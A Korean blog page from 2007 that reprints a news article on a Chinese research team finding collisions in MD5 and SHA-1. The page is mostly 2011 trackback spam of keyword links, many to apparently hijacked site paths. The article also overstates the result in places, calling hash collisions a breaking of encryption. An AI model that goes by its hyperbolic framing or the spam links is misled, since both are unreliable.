    psychology <a href="http://www.heyvan.com/GregsBroadcast/wpau-backup/page.php?k=psychology">psychology</a> economics <a href="http://happyfitsofrage.com/wp-content/uploads/page.php?k=economics">economics</a>

  21. skeletal system

    Tracked from skeletal system 2011/06/08 02:50 Delete

    scientific method <a href="http://helpwithdebt4unow.com/ddscientific-method">scientific method</a> shavuot <a href="http://letschangetheworld.info/jcshavuot.html">shavuot</a>

  22. science

    Tracked from science 2011/06/08 03:03 Delete

    history <a href="http://serenitypetservices.com/txhistory/">history</a> apple cloud <a href="http://brog.btox.net/pjapple-cloud">apple cloud</a>

  23. psychology

    Tracked from psychology 2011/06/08 03:41 Delete

    mark jackson <a href="http://scholarshipsupport.com/txmark-jackson/">mark jackson</a> human centipede <a href="http://peaceplanetproject.com/krhuman-centipede/">human centipede</a>

  24. circulatory system

    Tracked from circulatory system 2011/06/08 04:27 Delete

    human centipede <a href="http://lourolls.com/jchuman-centipede">human centipede</a> scientific method <a href="http://buyingsalviadivinorum.com/xqscientific-method/">scientific method</a>

  25. technology

    Tracked from technology 2011/06/08 06:04 Delete

    psychology <a href="http://benderbot.net/jgpsychology.html">psychology</a> mark jackson <a href="http://hunkythumbs.com/thumbs/page.php?k=mark-jackson">mark jackson</a>

  26. science

    Tracked from science 2011/06/08 06:49 Delete

    os x lion <a href="http://mikeofthethomas.com/tbos-x-lion/">os x lion</a> lenny dykstra <a href="http://www.foodchaincollective.com/wrlenny-dykstra/">lenny dykstra</a> human centipede <a href="http://edgewebproducts.com/vjhuman-centipede/">human centip...

  27. economics

    Tracked from economics 2011/06/08 07:09 Delete

    technology <a href="http://www.greek-pc.com/gftechnology/">technology</a> technology <a href="http://endoscopy-laparoscopy.info/rttechnology/">technology</a> shavuot <a href="http://conceptcloud.net/dcshavuot/">shavuot</a>

  28. os x lion

    Tracked from os x lion 2011/06/08 07:48 Delete

    psychology <a href="http://iphone.stefanoseveri.net/xxpsychology/">psychology</a> human centipede <a href="http://ainfra.net/dphuman-centipede/">human centipede</a> apple cloud <a href="http://maclatchy.com/djapple-cloud/">apple cloud</a>

  29. justin timberlake and mila kunis

    Tracked from justin timberlake and mila kunis 2011/06/08 08:39 Delete

    human centipede <a href="http://housefriendship.bgettings.com/bshuman-centipede/">human centipede</a> health <a href="http://carlaconte.org/lshealth/">health</a> psychology <a href="http://ornamentaltortoise.net/Backups/Voice/page.php?k=psychology">psy...

  30. psychology

    Tracked from psychology 2011/06/08 09:20 Delete

    human centipede <a href="http://www.goodgardenguide.com/fchuman-centipede/">human centipede</a> os x lion <a href="http://dankubelka.com/vwos-x-lion/">os x lion</a> economics <a href="http://www.therantingpersian.com/wveconomics/">economics</a>

  31. lenny dykstra

    Tracked from lenny dykstra 2011/06/08 09:40 Delete

    technology <a href="http://oldfartgamer.com/hbtechnology/">technology</a> justin timberlake and mila kunis <a href="http://ornamentaltortoise.net/Backups/Voice/page.php?k=justin-timberlake-and-mila-kunis">justin timberlake and mila kunis</a> piper pera...

  32. scientific method

    Tracked from scientific method 2011/06/08 11:17 Delete

    circulatory system <a href="http://my.yazamut.com/pbcirculatory-system/">circulatory system</a> piper perabo <a href="http://gemlifestyle.lydiahaisma.net/vhpiper-perabo/">piper perabo</a> psychology <a href="http://www.houseandgardensma.com/xqpsycholog...

  33. human centipede

    Tracked from human centipede 2011/06/08 11:49 Delete

    piper perabo <a href="http://oregonsoup.com/wzpiper-perabo/">piper perabo</a> lenny dykstra <a href="http://moderncocktailrecipes.com/wzlenny-dykstra/">lenny dykstra</a> mlb draft <a href="http://www.preferredcustomerbestbuy.com/rsmlb-draft/">mlb draft...

  34. economics

    Tracked from economics 2011/06/08 12:00 Delete

    economics <a href="http://www.zanne.troqp.com/zteconomics/">economics</a> justin timberlake and mila kunis <a href="http://www.wavesandwoods.com/ddjustin-timberlake-and-mila-kunis/">justin timberlake and mila kunis</a> scientific method <a href="http:/...

  35. psychology

    Tracked from psychology 2011/06/08 12:24 Delete

    circulatory system <a href="http://evancairo.com/fjcirculatory-system/">circulatory system</a> wesley snipes <a href="http://oregonsoup.com/wzwesley-snipes/">wesley snipes</a> piper perabo <a href="http://workshop.iyms.info/fhpiper-perabo/">piper perab...

  36. jcpenney printable survey coupon

    Tracked from jcpenney printable survey coupon 2011/08/03 21:44 Delete

    free printable logic grid puzzles <a href="http://www.edenvalleycomputers.co.uk/j1/xmlrpc/page.php?k=free-printable-logic-grid-puzzles">free printable logic grid puzzles</a> south beach diet printable coupon <a href="http://www.firstrateuk.info/tmp/con...

  37. printable candyland coloring book

    Tracked from printable candyland coloring book 2011/08/03 22:37 Delete

    hannah montana printable invitations <a href="http://tvvab.lt/tmp/cache/page.php?k=hannah-montana-printable-invitations">hannah montana printable invitations</a> free printable weekly calenders <a href="http://www.andelzatlantidy.cz/zgfree-printable-we...

  38. printable pictures of a picnic

    Tracked from printable pictures of a picnic 2011/08/03 23:33 Delete

    printable pictures of oprah <a href="http://www.fortis.sk/plus/wp-page.php?k=printable-pictures-of-oprah">printable pictures of oprah</a> free printable pregnancy journal <a href="http://www.csincorporated.com/xffree-printable-pregnancy-journal/">free...

  39. free printable crosswords washington post

    Tracked from free printable crosswords washington post 2011/08/04 00:53 Delete

    printable 2nd grade math worksheet <a href="http://www.rcstreet.ru/rpower/video/page.php?k=printable-2nd-grade-math-worksheet">printable 2nd grade math worksheet</a> create a free printable maze <a href="http://parkershouse.net/tmp/templates_c/page.inc...

  40. printable car clip art

    Tracked from printable car clip art 2011/08/04 02:20 Delete

    wizards of waverly place printables <a href="http://www.house4u.cz/gxwizards-of-waverly-place-printables/">wizards of waverly place printables</a> discount coupon bob evans printable <a href="http://www.gennowprc.com/qqdiscount-coupon-bob-evans-printab...

  41. free printable father's day cards

    Tracked from free printable father's day cards 2011/08/04 03:41 Delete

    valentine cards printable dr who <a href="http://www.codewebdev.com/install/lib/page.php?k=valentine-cards-printable-dr-who">valentine cards printable dr who</a> nike factory outlet printable coupon <a href="http://plush-mir.ru/brnike-factory-outlet-pr...

  42. card printable ordination deacon

    Tracked from card printable ordination deacon 2011/08/04 03:58 Delete

    printable alphabet wall cards <a href="http://veitl.net/gpprintable-alphabet-wall-cards/">printable alphabet wall cards</a> community helpers printables activities <a href="http://www.collegestemarguerite.fr/manager/misc/page.php?k=community-helpers-pr...

  43. free printable weekly calendar pages

    Tracked from free printable weekly calendar pages 2011/08/04 05:19 Delete

    free seahorse facts kids printables <a href="http://quintanet.co.uk/wpTEST/wp-content/page.php?k=free-seahorse-facts-kids-printables">free seahorse facts kids printables</a> christian greeting cards printable <a href="http://toptelecom.org/wlchristian-...

  44. carolina pride printable coupons

    Tracked from carolina pride printable coupons 2011/08/04 06:35 Delete

    free printable dvd movie covers <a href="http://tradken.com/vwfree-printable-dvd-movie-covers/">free printable dvd movie covers</a> free printable bill organizer worksheets <a href="http://www.potolkoff29.ru/dsfree-printable-bill-organizer-worksheets/"...

  45. free printable word wheels

    Tracked from free printable word wheels 2011/08/04 07:50 Delete

    free weekly printable calender templets <a href="http://plush-mir.ru/brfree-weekly-printable-calender-templets/">free weekly printable calender templets</a> coriolis and effect and printable <a href="http://russia-inauto.ru/install/lib/page.php?k=corio...

  46. free printable christmas images

    Tracked from free printable christmas images 2011/08/04 09:08 Delete

    printable worksheets stories bible <a href="http://onshoreasset.com/modules/CustomContent/page.php?k=printable-worksheets-stories-bible">printable worksheets stories bible</a> printable candy bar wrappers <a href="http://now-cardiff.co.uk/dpprintable-c...

Leave a comment

MD5, SHA-1 암호화 깨지다.

세계 암호영역의 양대 보루가 모두 중국 산둥대학 정보연구소의 여성 과학자  40세의 왕샤오윈(王小雲)소장이 이끄는 연구팀에 의해 격파되었다.

세상에 알려지지 않았던 왕 소장은 하루 만에 세계 명인이 되었고, 암호연구 영역에 알려지지도 않았던 산둥대학 정보연구소는 급기야 세계 암호연구영역에서 가장 주목을 받는 연구소로 되었으며, 국제 암호연구계는 충격에 휩싸여있다. 

미국에서는 미국의 암호영역이 중국 전문가에 의해 격파되었음을 시인하고 미국의 정보안전이 위험에 처했다고 했다.
국제 전문가들은 정보안전에 대해 다시 연구하고, 암호계산법을 새로이 만들어야 할 일이 긴박한 시점에 와있음을 분분히 주장했다.

예고없이 발생된 강진

▲금년에 40세에 나는 왕샤오윈(王小雲) 산둥대학 정보연구소 소장. 그는 자기의 연구팀을 이끌어 세계 암호영역의 2대 보루인 MD5와 SHA-1 암호표준을 격파했다.     ?자료사진
지난해 8월전만 해도 왕샤오윈은 국제 암호영역에서 이름이 없는 사람이었다. 바로 지난해 8월,  미국 캘리포니아에서 개최된 국제암호학술회의에서 원래 발언명단에 없었던 왕 소장은 집행위원회를 찾아가 자기가 소장으로 있는 산둥대학 정보연구소의 4편의 연구결과를 들고 자기에게 발언권을 줄 것을 요청했다. 그의 요청에 따라 집행위원회에서는 왕 소장에게 발언권을 주었다.

세상에 이름이 알려지지 않은 왕소장이 발언대에 올라갈 때까지만 해도 회의참가자들은 별로 주목을 하지 않았지만, 왕소장이 산둥대학 정보연구소의 세번째 성과를 발표했을 때, 왕 소장은 회의장에서 울리는 박수소리 때문에 몇 번이나 발언을 중단할 수 밖에 없었다. 그가 4개의 연구성과를 모두 발표했을 때, 회의장에는 장시간 박수가 끊기지 않았다.

이번 암호학술연구회에서 왕 소장은 자기들의 연구성과, 즉 세계 암호계의 주류인 MD5、HAVAL－128、MD4와 RIPEMD를 모두 격파했다.

이번 회의가 끝 난후 이번 회의 총결보고에는 "우리는 어떻게 해야 할 것인가? MD5는 중상을 입어 장차 응용영역에서 물러나게 될 것이다. SHA-1이 아직까지 살아있다고는 하지만, 그 기간도 얼마 남지 않았다. 지금부터 SHA-1을 갱신해야 할 것이다."라고 결론을 내렸다.

▲암호표준 격파 설명서.     ?인터넷자료

이번 회의에서 왕소장의 연구결과 발표로 세계 양대 암호보루인 MD5는 무너지고 말았다.

MD5가 왕 소장에 의해 격파된 다음에도 세계 암호연구영역에서는 여전히 SHA-1은 안전한 것으로, 아직까지 그것이 격파될 충분한 이유가 없으며 2010년 전까지 그보다 더 안전한 SHA-256, SHA-512연산법으로 전환할 것을 주장했으며, 이런 내용은 2월 7일에 발표된 미국국가표준연구원에서 발표한 성명서에 적혀있었다.

그러나 미국 국가표준연구원에서 이런 성명을 발표한 불과 한주일 만에 왕 소장 연구팀은 SHA-1 암호시스템도 그들에 의해 격파되었음을 증명했고, 세상에 공포했다.

왕소장의 SHA-1격파소식은 세계 암호영역에 엄청난 충격을 안겨주었다. SHA-1은 미국을 비롯한 나라들에서 많이 사용하는 것으로 국제사회는 놀랐다. 왕 소장의 연구는 전자 사인을 위조할 수 있음을 증명했다.

▲산둥(山東)대학은 중국 기초과학인재배양기지(수학)이기도 하다.     ?안터넷사진
최근 국제암호전문가 Lenstra는 왕 소장이 제공한 MD5충격이론에 따라 X.509에 부합되는 수학증서를 위조해냈다. 이는 왕 소장의 연구는 이론에서 실제 응용에로 들어갈 수 있으며, MD5의 응용영역 퇴출은 눈 앞에 대두되었음을 말해준다. 따라서 왕 소장은 SHA-1도 이미 격파했기에 그의 응용영역에서의 퇴출도 시간문제라고 했다.

왕샤오윈 소장

금년 40세인 왕 소장은 책에만 붙박혀 있는 사람이라는 뜻에서 '시체여성'이라는 별명이 있다고 그의 동료들은 말했다.1990년부터 왕 소장은 중국 과학원 원사이며 중국 수학계의 거두인 판청둥(番承洞)과 딩쓔웬(丁秀源)교수의 제자로 가르침을 받으면서 1990년대 말부터 Hash함수의 연구, 즉 암호영역의 연구에 몰두했다.

▲산둥대학 총장이며, 왕 소장의 스승이었던 판 교수. 중국 수학연구영역의 거물급 인물이기도 하다.     ? 인터넷사진
판 교수는 중국 수학연구 영역의 권위자로 중국 과학원 학부위원이며, 산둥대학의 총장을 지냈다. 판 교수는 골드바하 추측에 대한 연구 영역에서 큰 성과를 올린 거물급 인물로, 골드바하추측 연구에서 재래식의 연구방식에서 벗어나 {1,5}과 {1,4}의 성립을 증명, 뒤의 명제인 {1,3}과 {1,2}의 증명을 위해 기초를 닦아 놓았다.

딩 교수 역시 중국 수학계의 유명 인물로, 4차에 걸쳐 중국 국가 자연과학기금회에서 지원하는 프로젝트를 주최한 바 있으며, "암호과학기술진보상"을 받은 적이 있는 중국 암호연구영역의 거물급 인물이다.

이들로부터 가르침을 받은 왕 소장은 3명의 여성연구원들을 이끌고 국제 암호영역의 2대보루를 격파했던 것이다.

왕 교수가 암호 2대보루를 격파하기 전에 국제 암호영역에서는 MD5와 SHA-1암호방식은 금성철벽으로 인정했었다. 그러나 왕 소장은 자기의 연구팀을 이끌고 불과 2개월 같의 연구를 거쳐 이 금성철벽으로 인정받은 SHA-1를 격파했던 것이다.
 
▲왕 소장의 스승인 딩슈웬(丁秀源)교수. "암호과학기술진보상" 수상자이기도 하다.     ? 자료사진

따라서 왕 소장은 하루밤 새에 명인으로 되었다. 원래 이름이 별로 알려지지 않았던 왕 소장의 이름이 구글에서는 수 천개 항목에 올라와 있고, 중국의 가장 큰 검색엔진에 오른 왕 소장의 이름은 무려 9천개에 가깝다.

국제암호연구영역의 반응

MD5、SHA－1 암호표준은 국제적으로 광범위하게 응용되는 암호표준이기도 하다. MD5는 국제저명한 암호학자이면서 듀링상의 수상자이자 공공키암호연산법인 RSA의 창시자인 Rivest가 설계한 것이고, SHA－1은 미국에서 전문암호연산법을 제정하는 전문기구인 미국국가표준기술연구원(NIST)과 미국 국가안전국(NSA)에서 설계한 것이다.

이 두 암호표준은 전자서명과 기타 암호응용영역이 널리 쓰이는 관건기술로, 금융, 증권과 전자비즈니스에서 광범위하게 응용되고 있다.

왕 소장의 소개에 따르면 세계적으로 지문이 같은 사람이 없기에 지문은 가장 안전한 신분표시로 되고 있다. 네트웍 안전협의에서는 Hash함수로 전자사인을 처리하여 이론적으로는 중복되지 않는 "지문"을 생성하여 "디지털손도장"을 만든다. 이상적인 안전요구에 따르면 Hash함수로 생성되는 만큼, 원시 정보가 한자리 수만 변해도 확연히 다른 "지문"이 생성된다. Hash의 함수가 충돌되는 방법을 연구해낸다면 같지 않은 데이타가 동일한 "지문"을 생성할 수 있게 되는 것이다. 이렇게 되면 자연 전자사인을 "위조"할 수 있는 것이다.

▲학생들을 지도하는 판교수(이미 작고했음)     ?자료사진
왕 소장이 자기의 연구팀을 이끌어 MD5와 SHA-1 암호표준을 격파함으로 국제암호영역에는 강진이 발생했다.  

국제 암호영역의 정상급 학자 Shamir는 “이는 최근년간 암호영역에서 거둔 가장 아름다운 과실인바, 나는 이는 장차 큰 파동을 일으키게 될 것이며 새로운 Hash함수 연산법을 연구하는 것은 극히 중요할 일이라고 본다"고 했으며, MD5의 설계자 Rivest는 “SHA－1이 격파되었다니 참으로 놀랍다", "디지털사인의 안전성은 내려가고 있는 바 연산법을 교체할 것을 제시하고 있다"라고 했다.

미국 국가표준기술연구원과 유명 글로벌회사들에서도 적극적인 반응을 보이고 있는 바 Seagate Technology사의 안전문제연구총감 Mark Willet는 "지금은 미국 국가표준기술연구원에서 암호를 갱신하는 날짜를 앞당겨야 할 시점이다"라고 했다.

이외 MS사, SUN과 Atmel 등 글로벌 사들 역시 자기들의 대응책을 내놓았으며 미국 변호사협회의 한 고문은 "중국의 이 몇몇 연구원들은 아주 미쳐버렸나바"라고 감탄했다.

최근 몇 년간, 중국은 기초과학 영역과 응용과학 영역에서 괄목할만한  발전을 가져 오고 있는 바, 그 발전은 빠르다고 하기보다는 비약하고 있다고 해야 할 것이다. 나노과학 연구의 실제 응용에서 이미 커다란 성과를 거두어 나노재료를 항공기연구제작에 쓸 것으로 전망되고 있으며, 2006년 연말에는 달 탐사선을 발사한다고 중국 관련당국에서는 선포한 적도 있다.

개혁개방의 심화와 실무적인 새로운 국가지도부의 출범으로 중국은 지금 놀라운 속도로 발전하고 있다.
이올린에 북마크하기

Posted by Dual

2007/04/01 17:56 2007/04/01 17:56
Response
44 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/270

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/270

Trackbacks List

  1. chemistry

    Tracked from chemistry 2011/06/07 03:39 Delete

    physics <a href="http://qixuan.kelvinkau.com/ljphysics">physics</a> chlamydia <a href="http://letschangetheworld.info/jcchlamydia.html">chlamydia</a>

  2. icloud apple

    Tracked from icloud apple 2011/06/07 12:13 Delete

    antimatter http://lolcartoons.com/vgantimatter antimatter

  3. nintendo 3ds

    Tracked from nintendo 3ds 2011/06/07 18:14 Delete

    icloud <a href="http://pixieplasma.com/qxicloud.html">icloud</a> icloud <a href="http://mov.eecssh.com/rxicloud.html">icloud</a>

  4. rep weiner

    Tracked from rep weiner 2011/06/07 18:26 Delete

    discovery channel <a href="http://startubuntu.com/dqdiscovery-channel">discovery channel</a> emily maynard <a href="http://backtoschoolbeliefs.com/pwemily-maynard.html">emily maynard</a>

  5. andrew breitbart

    Tracked from andrew breitbart 2011/06/07 18:38 Delete

    bubba starling <a href="http://startubuntu.com/dqbubba-starling">bubba starling</a> icloud <a href="http://buyingsalviadivinorum.com/xqicloud/">icloud</a>

  6. icloud

    Tracked from icloud 2011/06/07 18:51 Delete

    horton <a href="http://chocolatedocumentary.com/twhorton.html">horton</a> mark jackson <a href="http://buyingsalviadivinorum.com/xqmark-jackson/">mark jackson</a>

  7. mark jackson

    Tracked from mark jackson 2011/06/07 19:02 Delete

    andrew breitbart <a href="http://blog.cottinghamchalk.net/gsandrew-breitbart">andrew breitbart</a> nintendo 3ds <a href="http://keithkirchner.com/retsimages/page.php?k=nintendo-3ds">nintendo 3ds</a>

  8. congressman weiner

    Tracked from congressman weiner 2011/06/07 19:17 Delete

    discovery channel <a href="http://manosmriti.net/qcdiscovery-channel">discovery channel</a> bobby fischer <a href="http://awaoawa.com/wtbobby-fischer">bobby fischer</a>

  9. bobby fischer

    Tracked from bobby fischer 2011/06/07 19:31 Delete

    andrew breitbart <a href="http://jsiegal.com/szandrew-breitbart">andrew breitbart</a> ernest hemingway <a href="http://letschangetheworld.info/jcernest-hemingway.html">ernest hemingway</a>

  10. horton

    Tracked from horton 2011/06/07 19:44 Delete

    bobby fischer <a href="http://qixuan.kelvinkau.com/ljbobby-fischer">bobby fischer</a> steve jobs health <a href="http://symbiosisdev.com/phsteve-jobs-health">steve jobs health</a>

  11. icloud

    Tracked from icloud 2011/06/07 19:57 Delete

    andrew breitbart <a href="http://home-basedbusiness-online.com/ccandrew-breitbart/">andrew breitbart</a> bubba starling <a href="http://creativno.net/svbubba-starling/">bubba starling</a>

  12. emily maynard

    Tracked from emily maynard 2011/06/07 20:10 Delete

    nintendo 3ds <a href="http://www.effectivemarketingonline.com/wsnintendo-3ds">nintendo 3ds</a> bioshock infinite <a href="http://listenandlearn.james5.org/llbioshock-infinite/">bioshock infinite</a>

  13. andrew breitbart

    Tracked from andrew breitbart 2011/06/07 20:22 Delete

    andrew breitbart <a href="http://wmich.uswindle.com/csandrew-breitbart/">andrew breitbart</a> discovery channel <a href="http://www.wavesandwoods.com/dddiscovery-channel/">discovery channel</a> george stephanopoulos <a href="http://crazymig.com/gzgeorg...

  14. horton

    Tracked from horton 2011/06/07 20:41 Delete

    steve jobs health <a href="http://www.spendingless.org/wp-content/themes/page.php?k=steve-jobs-health">steve jobs health</a> bobby fischer <a href="http://pangasystem.net/xtbobby-fischer/">bobby fischer</a> steve jobs health <a href="http://gemlifestyl...

  15. paul revere

    Tracked from paul revere 2011/06/07 21:21 Delete

    congressman weiner <a href="http://adailygoodthing.com/cdcongressman-weiner/">congressman weiner</a> bobby fischer <a href="http://www.zanne.troqp.com/ztbobby-fischer/">bobby fischer</a> andrew breitbart <a href="http://atelier-kalypso.com/ktandrew-bre...

  16. science

    Tracked from science 2011/06/08 00:32 Delete

    science <a href="http://swing-golfer.com/btscience/">science</a> history <a href="http://blog.ianhawkes.com/kqhistory">history</a>

  17. technology

    Tracked from technology 2011/06/08 00:40 Delete

    human centipede <a href="http://ben-paul.com/mghuman-centipede">human centipede</a> technology <a href="http://www.heyvan.com/GregsBroadcast/wpau-backup/page.php?k=technology">technology</a>

  18. mlb draft

    Tracked from mlb draft 2011/06/08 01:37 Delete

    circulatory system <a href="http://blog.bluedaring.com/cvcirculatory-system">circulatory system</a> history <a href="http://rugbymovie.com/qrhistory">history</a>

  19. health

    Tracked from health 2011/06/08 01:46 Delete

    justin timberlake and mila kunis <a href="http://isthisrumortrue.com/trjustin-timberlake-and-mila-kunis">justin timberlake and mila kunis</a> literature <a href="http://natural-remedy.askruss.net/rtliterature/">literature</a>

  20. lauryn hill

    Tracked from lauryn hill 2011/06/08 02:24 Delete

    justin timberlake and mila kunis <a href="http://hunkythumbs.com/thumbs/page.php?k=justin-timberlake-and-mila-kunis">justin timberlake and mila kunis</a> economics <a href="http://symbiosisdev.com/pheconomics">economics</a>

  21. economics

    Tracked from economics 2011/06/08 02:29 Delete

    literature <a href="http://lourolls.com/jcliterature">literature</a> skeletal system <a href="http://peaceplanetproject.com/krskeletal-system/">skeletal system</a>

  22. psychology

    Tracked from psychology 2011/06/08 03:03 Delete

    health <a href="http://greenstormstudios.com/blog/wp-content/page.php?k=health">health</a> circulatory system <a href="http://listenandlearn.james5.org/llcirculatory-system/">circulatory system</a>

  23. economics

    Tracked from economics 2011/06/08 03:42 Delete

    health <a href="http://buysalviasmoke.com/wchealth.html">health</a> literature <a href="http://oldcarblog.carlovers.net/gnliterature">literature</a>

  24. shavuot

    Tracked from shavuot 2011/06/08 03:52 Delete

    circulatory system <a href="http://www.heyvan.com/GregsBroadcast/wpau-backup/page.php?k=circulatory-system">circulatory system</a> os x lion <a href="http://ben-paul.com/mgos-x-lion">os x lion</a>

  25. literature

    Tracked from literature 2011/06/08 04:27 Delete

    economics <a href="http://listenandlearn.james5.org/lleconomics/">economics</a> justin timberlake and mila kunis <a href="http://rugbymovie.com/qrjustin-timberlake-and-mila-kunis">justin timberlake and mila kunis</a>

  26. entrepreneur

    Tracked from entrepreneur 2011/06/08 05:05 Delete

    economics <a href="http://www.gilatravel.info/pleconomics/">economics</a> technology <a href="http://asdepicas.es/xltechnology/">technology</a> human centipede <a href="http://notnecessarilynews.com/kzhuman-centipede/">human centipede</a>

  27. shavuot

    Tracked from shavuot 2011/06/08 05:53 Delete

    human centipede <a href="http://www.americairemember.com/hxhuman-centipede/">human centipede</a> mark jackson <a href="http://www.ipantalla.com/qbmark-jackson/">mark jackson</a> economics <a href="http://judyloveda.com/nteconomics/">economics</a>

  28. mlb draft

    Tracked from mlb draft 2011/06/08 06:32 Delete

    justin timberlake and mila kunis <a href="http://dumbpeeps.com/vzjustin-timberlake-and-mila-kunis/">justin timberlake and mila kunis</a> human centipede <a href="http://mtlg.co.uk/phhuman-centipede/">human centipede</a> scientific method <a href="http:...

  29. science

    Tracked from science 2011/06/08 07:09 Delete

    human centipede <a href="http://itsgodzirra.com/wshuman-centipede/">human centipede</a> technology <a href="http://www.findingmacedonia.com/ndtechnology/">technology</a> shavuot <a href="http://www.greek-pc.com/gfshavuot/">shavuot</a>

  30. scientific method

    Tracked from scientific method 2011/06/08 07:48 Delete

    mark jackson <a href="http://twitter.iguideu.net/bxmark-jackson/">mark jackson</a> health <a href="http://www.kirbanu.com/website/wp-content/page.php?k=health">health</a> technology <a href="http://louisianaweightlosssurgery.com/fltechnology/">technolo...

  31. wesley snipes

    Tracked from wesley snipes 2011/06/08 09:14 Delete

    technology <a href="http://www.gilatravel.info/pltechnology/">technology</a> psychology <a href="http://excelmacrohelp.com/wp-content/themes/page.php?k=psychology">psychology</a> os x lion <a href="http://blog.drimmelphotography.com/pcos-x-lion/">os x...

  32. piper perabo

    Tracked from piper perabo 2011/06/08 09:50 Delete

    lenny dykstra <a href="http://www.ecommerceshare.com/rjlenny-dykstra/">lenny dykstra</a> os x lion <a href="http://www.liamandnish.co.uk/mbos-x-lion/">os x lion</a> science <a href="http://twitter.iguideu.net/bxscience/">science</a>

  33. wesley snipes

    Tracked from wesley snipes 2011/06/08 10:37 Delete

    circulatory system <a href="http://www.notgettingpregnant.com/rmcirculatory-system/">circulatory system</a> wesley snipes <a href="http://conceptcloud.net/dcwesley-snipes/">wesley snipes</a> circulatory system <a href="http://arondamua.com/gfcirculator...

  34. entrepreneur

    Tracked from entrepreneur 2011/06/08 11:17 Delete

    scientific method <a href="http://www.bullettime.stevedforbes.com/pqscientific-method/">scientific method</a> os x lion <a href="http://opossum-musings.com/xfos-x-lion/">os x lion</a> shavuot <a href="http://eyesiteinteractive.com/hpshavuot/">shavuot</a>

  35. psychology

    Tracked from psychology 2011/06/08 12:47 Delete

    psychology <a href="http://my.yazamut.com/pbpsychology/">psychology</a> piper perabo <a href="http://thegirlsguidetodiabetes.com/HLIC/page.php?k=piper-perabo">piper perabo</a> mlb draft <a href="http://www.foodchaincollective.com/wrmlb-draft/">mlb draf...

  36. free printable fox mask

    Tracked from free printable fox mask 2011/08/03 21:44 Delete

    printable chicago bear's schedule <a href="http://www.erwanslife.com/uploads/family/page.php?k=printable-chicago-bear's-schedule">printable chicago bear's schedule</a> kids valentine card school printable <a href="http://www.mobelity.com/u9eyo.php?k=ki...

  37. free printable greeting cards halloween

    Tracked from free printable greeting cards halloween 2011/08/03 22:39 Delete

    free online printable stationary <a href="http://parkershouse.net/tmp/templates_c/page.inc.php?k=free-online-printable-stationary">free online printable stationary</a> free printable eeyore coloring pages <a href="http://www.andelzatlantidy.cz/zgfree-p...

  38. printable camel cigarette coupons

    Tracked from printable camel cigarette coupons 2011/08/03 23:34 Delete

    printable pictures of guardian angels <a href="http://www.rckauhava.fi/tmp/templates_c/page.php?k=printable-pictures-of-guardian-angels">printable pictures of guardian angels</a> printable 7th grade work <a href="http://trinidad-portal.com/tmp/configs/...

  39. sat math tutorial printable

    Tracked from sat math tutorial printable 2011/08/04 00:53 Delete

    congratulations new baby printable cards <a href="http://tafeweb.com/fscongratulations-new-baby-printable-cards/">congratulations new baby printable cards</a> free printable housework blog <a href="http://plush-mir.ru/brfree-printable-housework-blog/">...

  40. preschool printable of vases

    Tracked from preschool printable of vases 2011/08/04 02:20 Delete

    printable relationship communication quizzes <a href="http://www.poljskidom.hr/tgprintable-relationship-communication-quizzes/">printable relationship communication quizzes</a> printable traditional hymn sheet music <a href="http://www.drudecja.de/zgpr...

  41. printable coloring book turtles

    Tracked from printable coloring book turtles 2011/08/04 03:49 Delete

    free printable applebee s coupons <a href="http://onshoreasset.com/modules/CustomContent/page.php?k=free-printable-applebee-s-coupons">free printable applebee s coupons</a> free printable scrabble tiles <a href="http://www.brugmann.dk/cms/modules/page....

  42. prilosec coupon printable coupon

    Tracked from prilosec coupon printable coupon 2011/08/04 03:55 Delete

    dvd-r color inkjet printable <a href="http://www.house4u.cz/gxdvd-r-color-inkjet-printable/">dvd-r color inkjet printable</a> printable map of east coast <a href="http://peterhowe.com/uploads/NCleanBlue/page.php?k=printable-map-of-east-coast">printable...

  43. payless shoes printable coupon

    Tracked from payless shoes printable coupon 2011/08/04 05:14 Delete

    black white printables for coloring <a href="http://music-close-to-silence.com/dmblack-white-printables-for-coloring/">black white printables for coloring</a> printable kids color pages <a href="http://www.eventforschung.com/rkprintable-kids-color-page...

  44. printable franklin covey planner pages

    Tracked from printable franklin covey planner pages 2011/08/04 07:50 Delete

    free printable 2007-2008 school calendar <a href="http://peterhowe.com/uploads/NCleanBlue/page.php?k=free-printable-2007-2008-school-calendar">free printable 2007-2008 school calendar</a> printable pictures of hilter <a href="http://sealclub.net/njprin...

Leave a comment
« Previous : 1 : Next »
블로그 이미지

슬픔 메아리쳐, 난 너무도 약했어..

- Dual

Notices

Archives

Authors

  1. Dual

Recent Posts

  1. Anti Game hacking 프로그램... (86)
  2. CAIN을 이용한 SSL 스니핑 방법. (113)
  3. File CRC Check 검사기법 우... (3)
  4. 루트킷 한글판 등장
  5. -_- 웹파일 업로드 취약점에...
  6. POC 2007 사진들?ㅎㅎ (2)
  7. CRC(Cyclic Redundancy Check... (3)
  8. 이번년도 참가예정 국내 보안...
  9. .net Application 공략 하기
  10. Windows Anti-Debug Reference (2)

Recent Comments

  1. Beats By Dre is cheap. Beats by dre 02/03
  2. Beats By Dre is cheap. Beats by dre 02/03
  3. Beats By Dre is cheap. Beats by dre 02/03
  4. バーバリー アウトレット【BU... バーバリー マフラー 01/03
  5. document.writeln("1941年、... コーチ バッグ アウトレット 2011
  6. フェラガモ 靴 (Ferragamo)は... ferragamo バッグ 2011
  7. document.writeln("1941年、... コーチ バッグ アウトレット 2011
  8. ccモンクレールのダウンジャ... ベルスタッフ アウトレット 2011
  9. ccモンクレールのダウンジャ... ベルスタッフ アウトレット 2011
  10. document.writeln("ccモンク... ベルスタッフ アウトレット 2011

Recent Trackbacks

  1. Signature White Save The Da... Signature White Save The Da... 02/07
  2. Cincinnati Bearcats Youth W... Cincinnati Bearcats Youth W... 02/06
  3. Perris All Purpose Ribbon S... Perris All Purpose Ribbon S... 02/06
  4. Sam Houston State Bearkats... Sam Houston State Bearkats... 02/05
  5. Siwy Valentine Cargo Pants... Siwy Valentine Cargo Pants... 02/04

Calendar

«   2007/04   »
Sun Mon Tue Wed Thu Fri Sat
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30          

Site Stats

Total hits:
81809
Today:
38
Yesterday:
142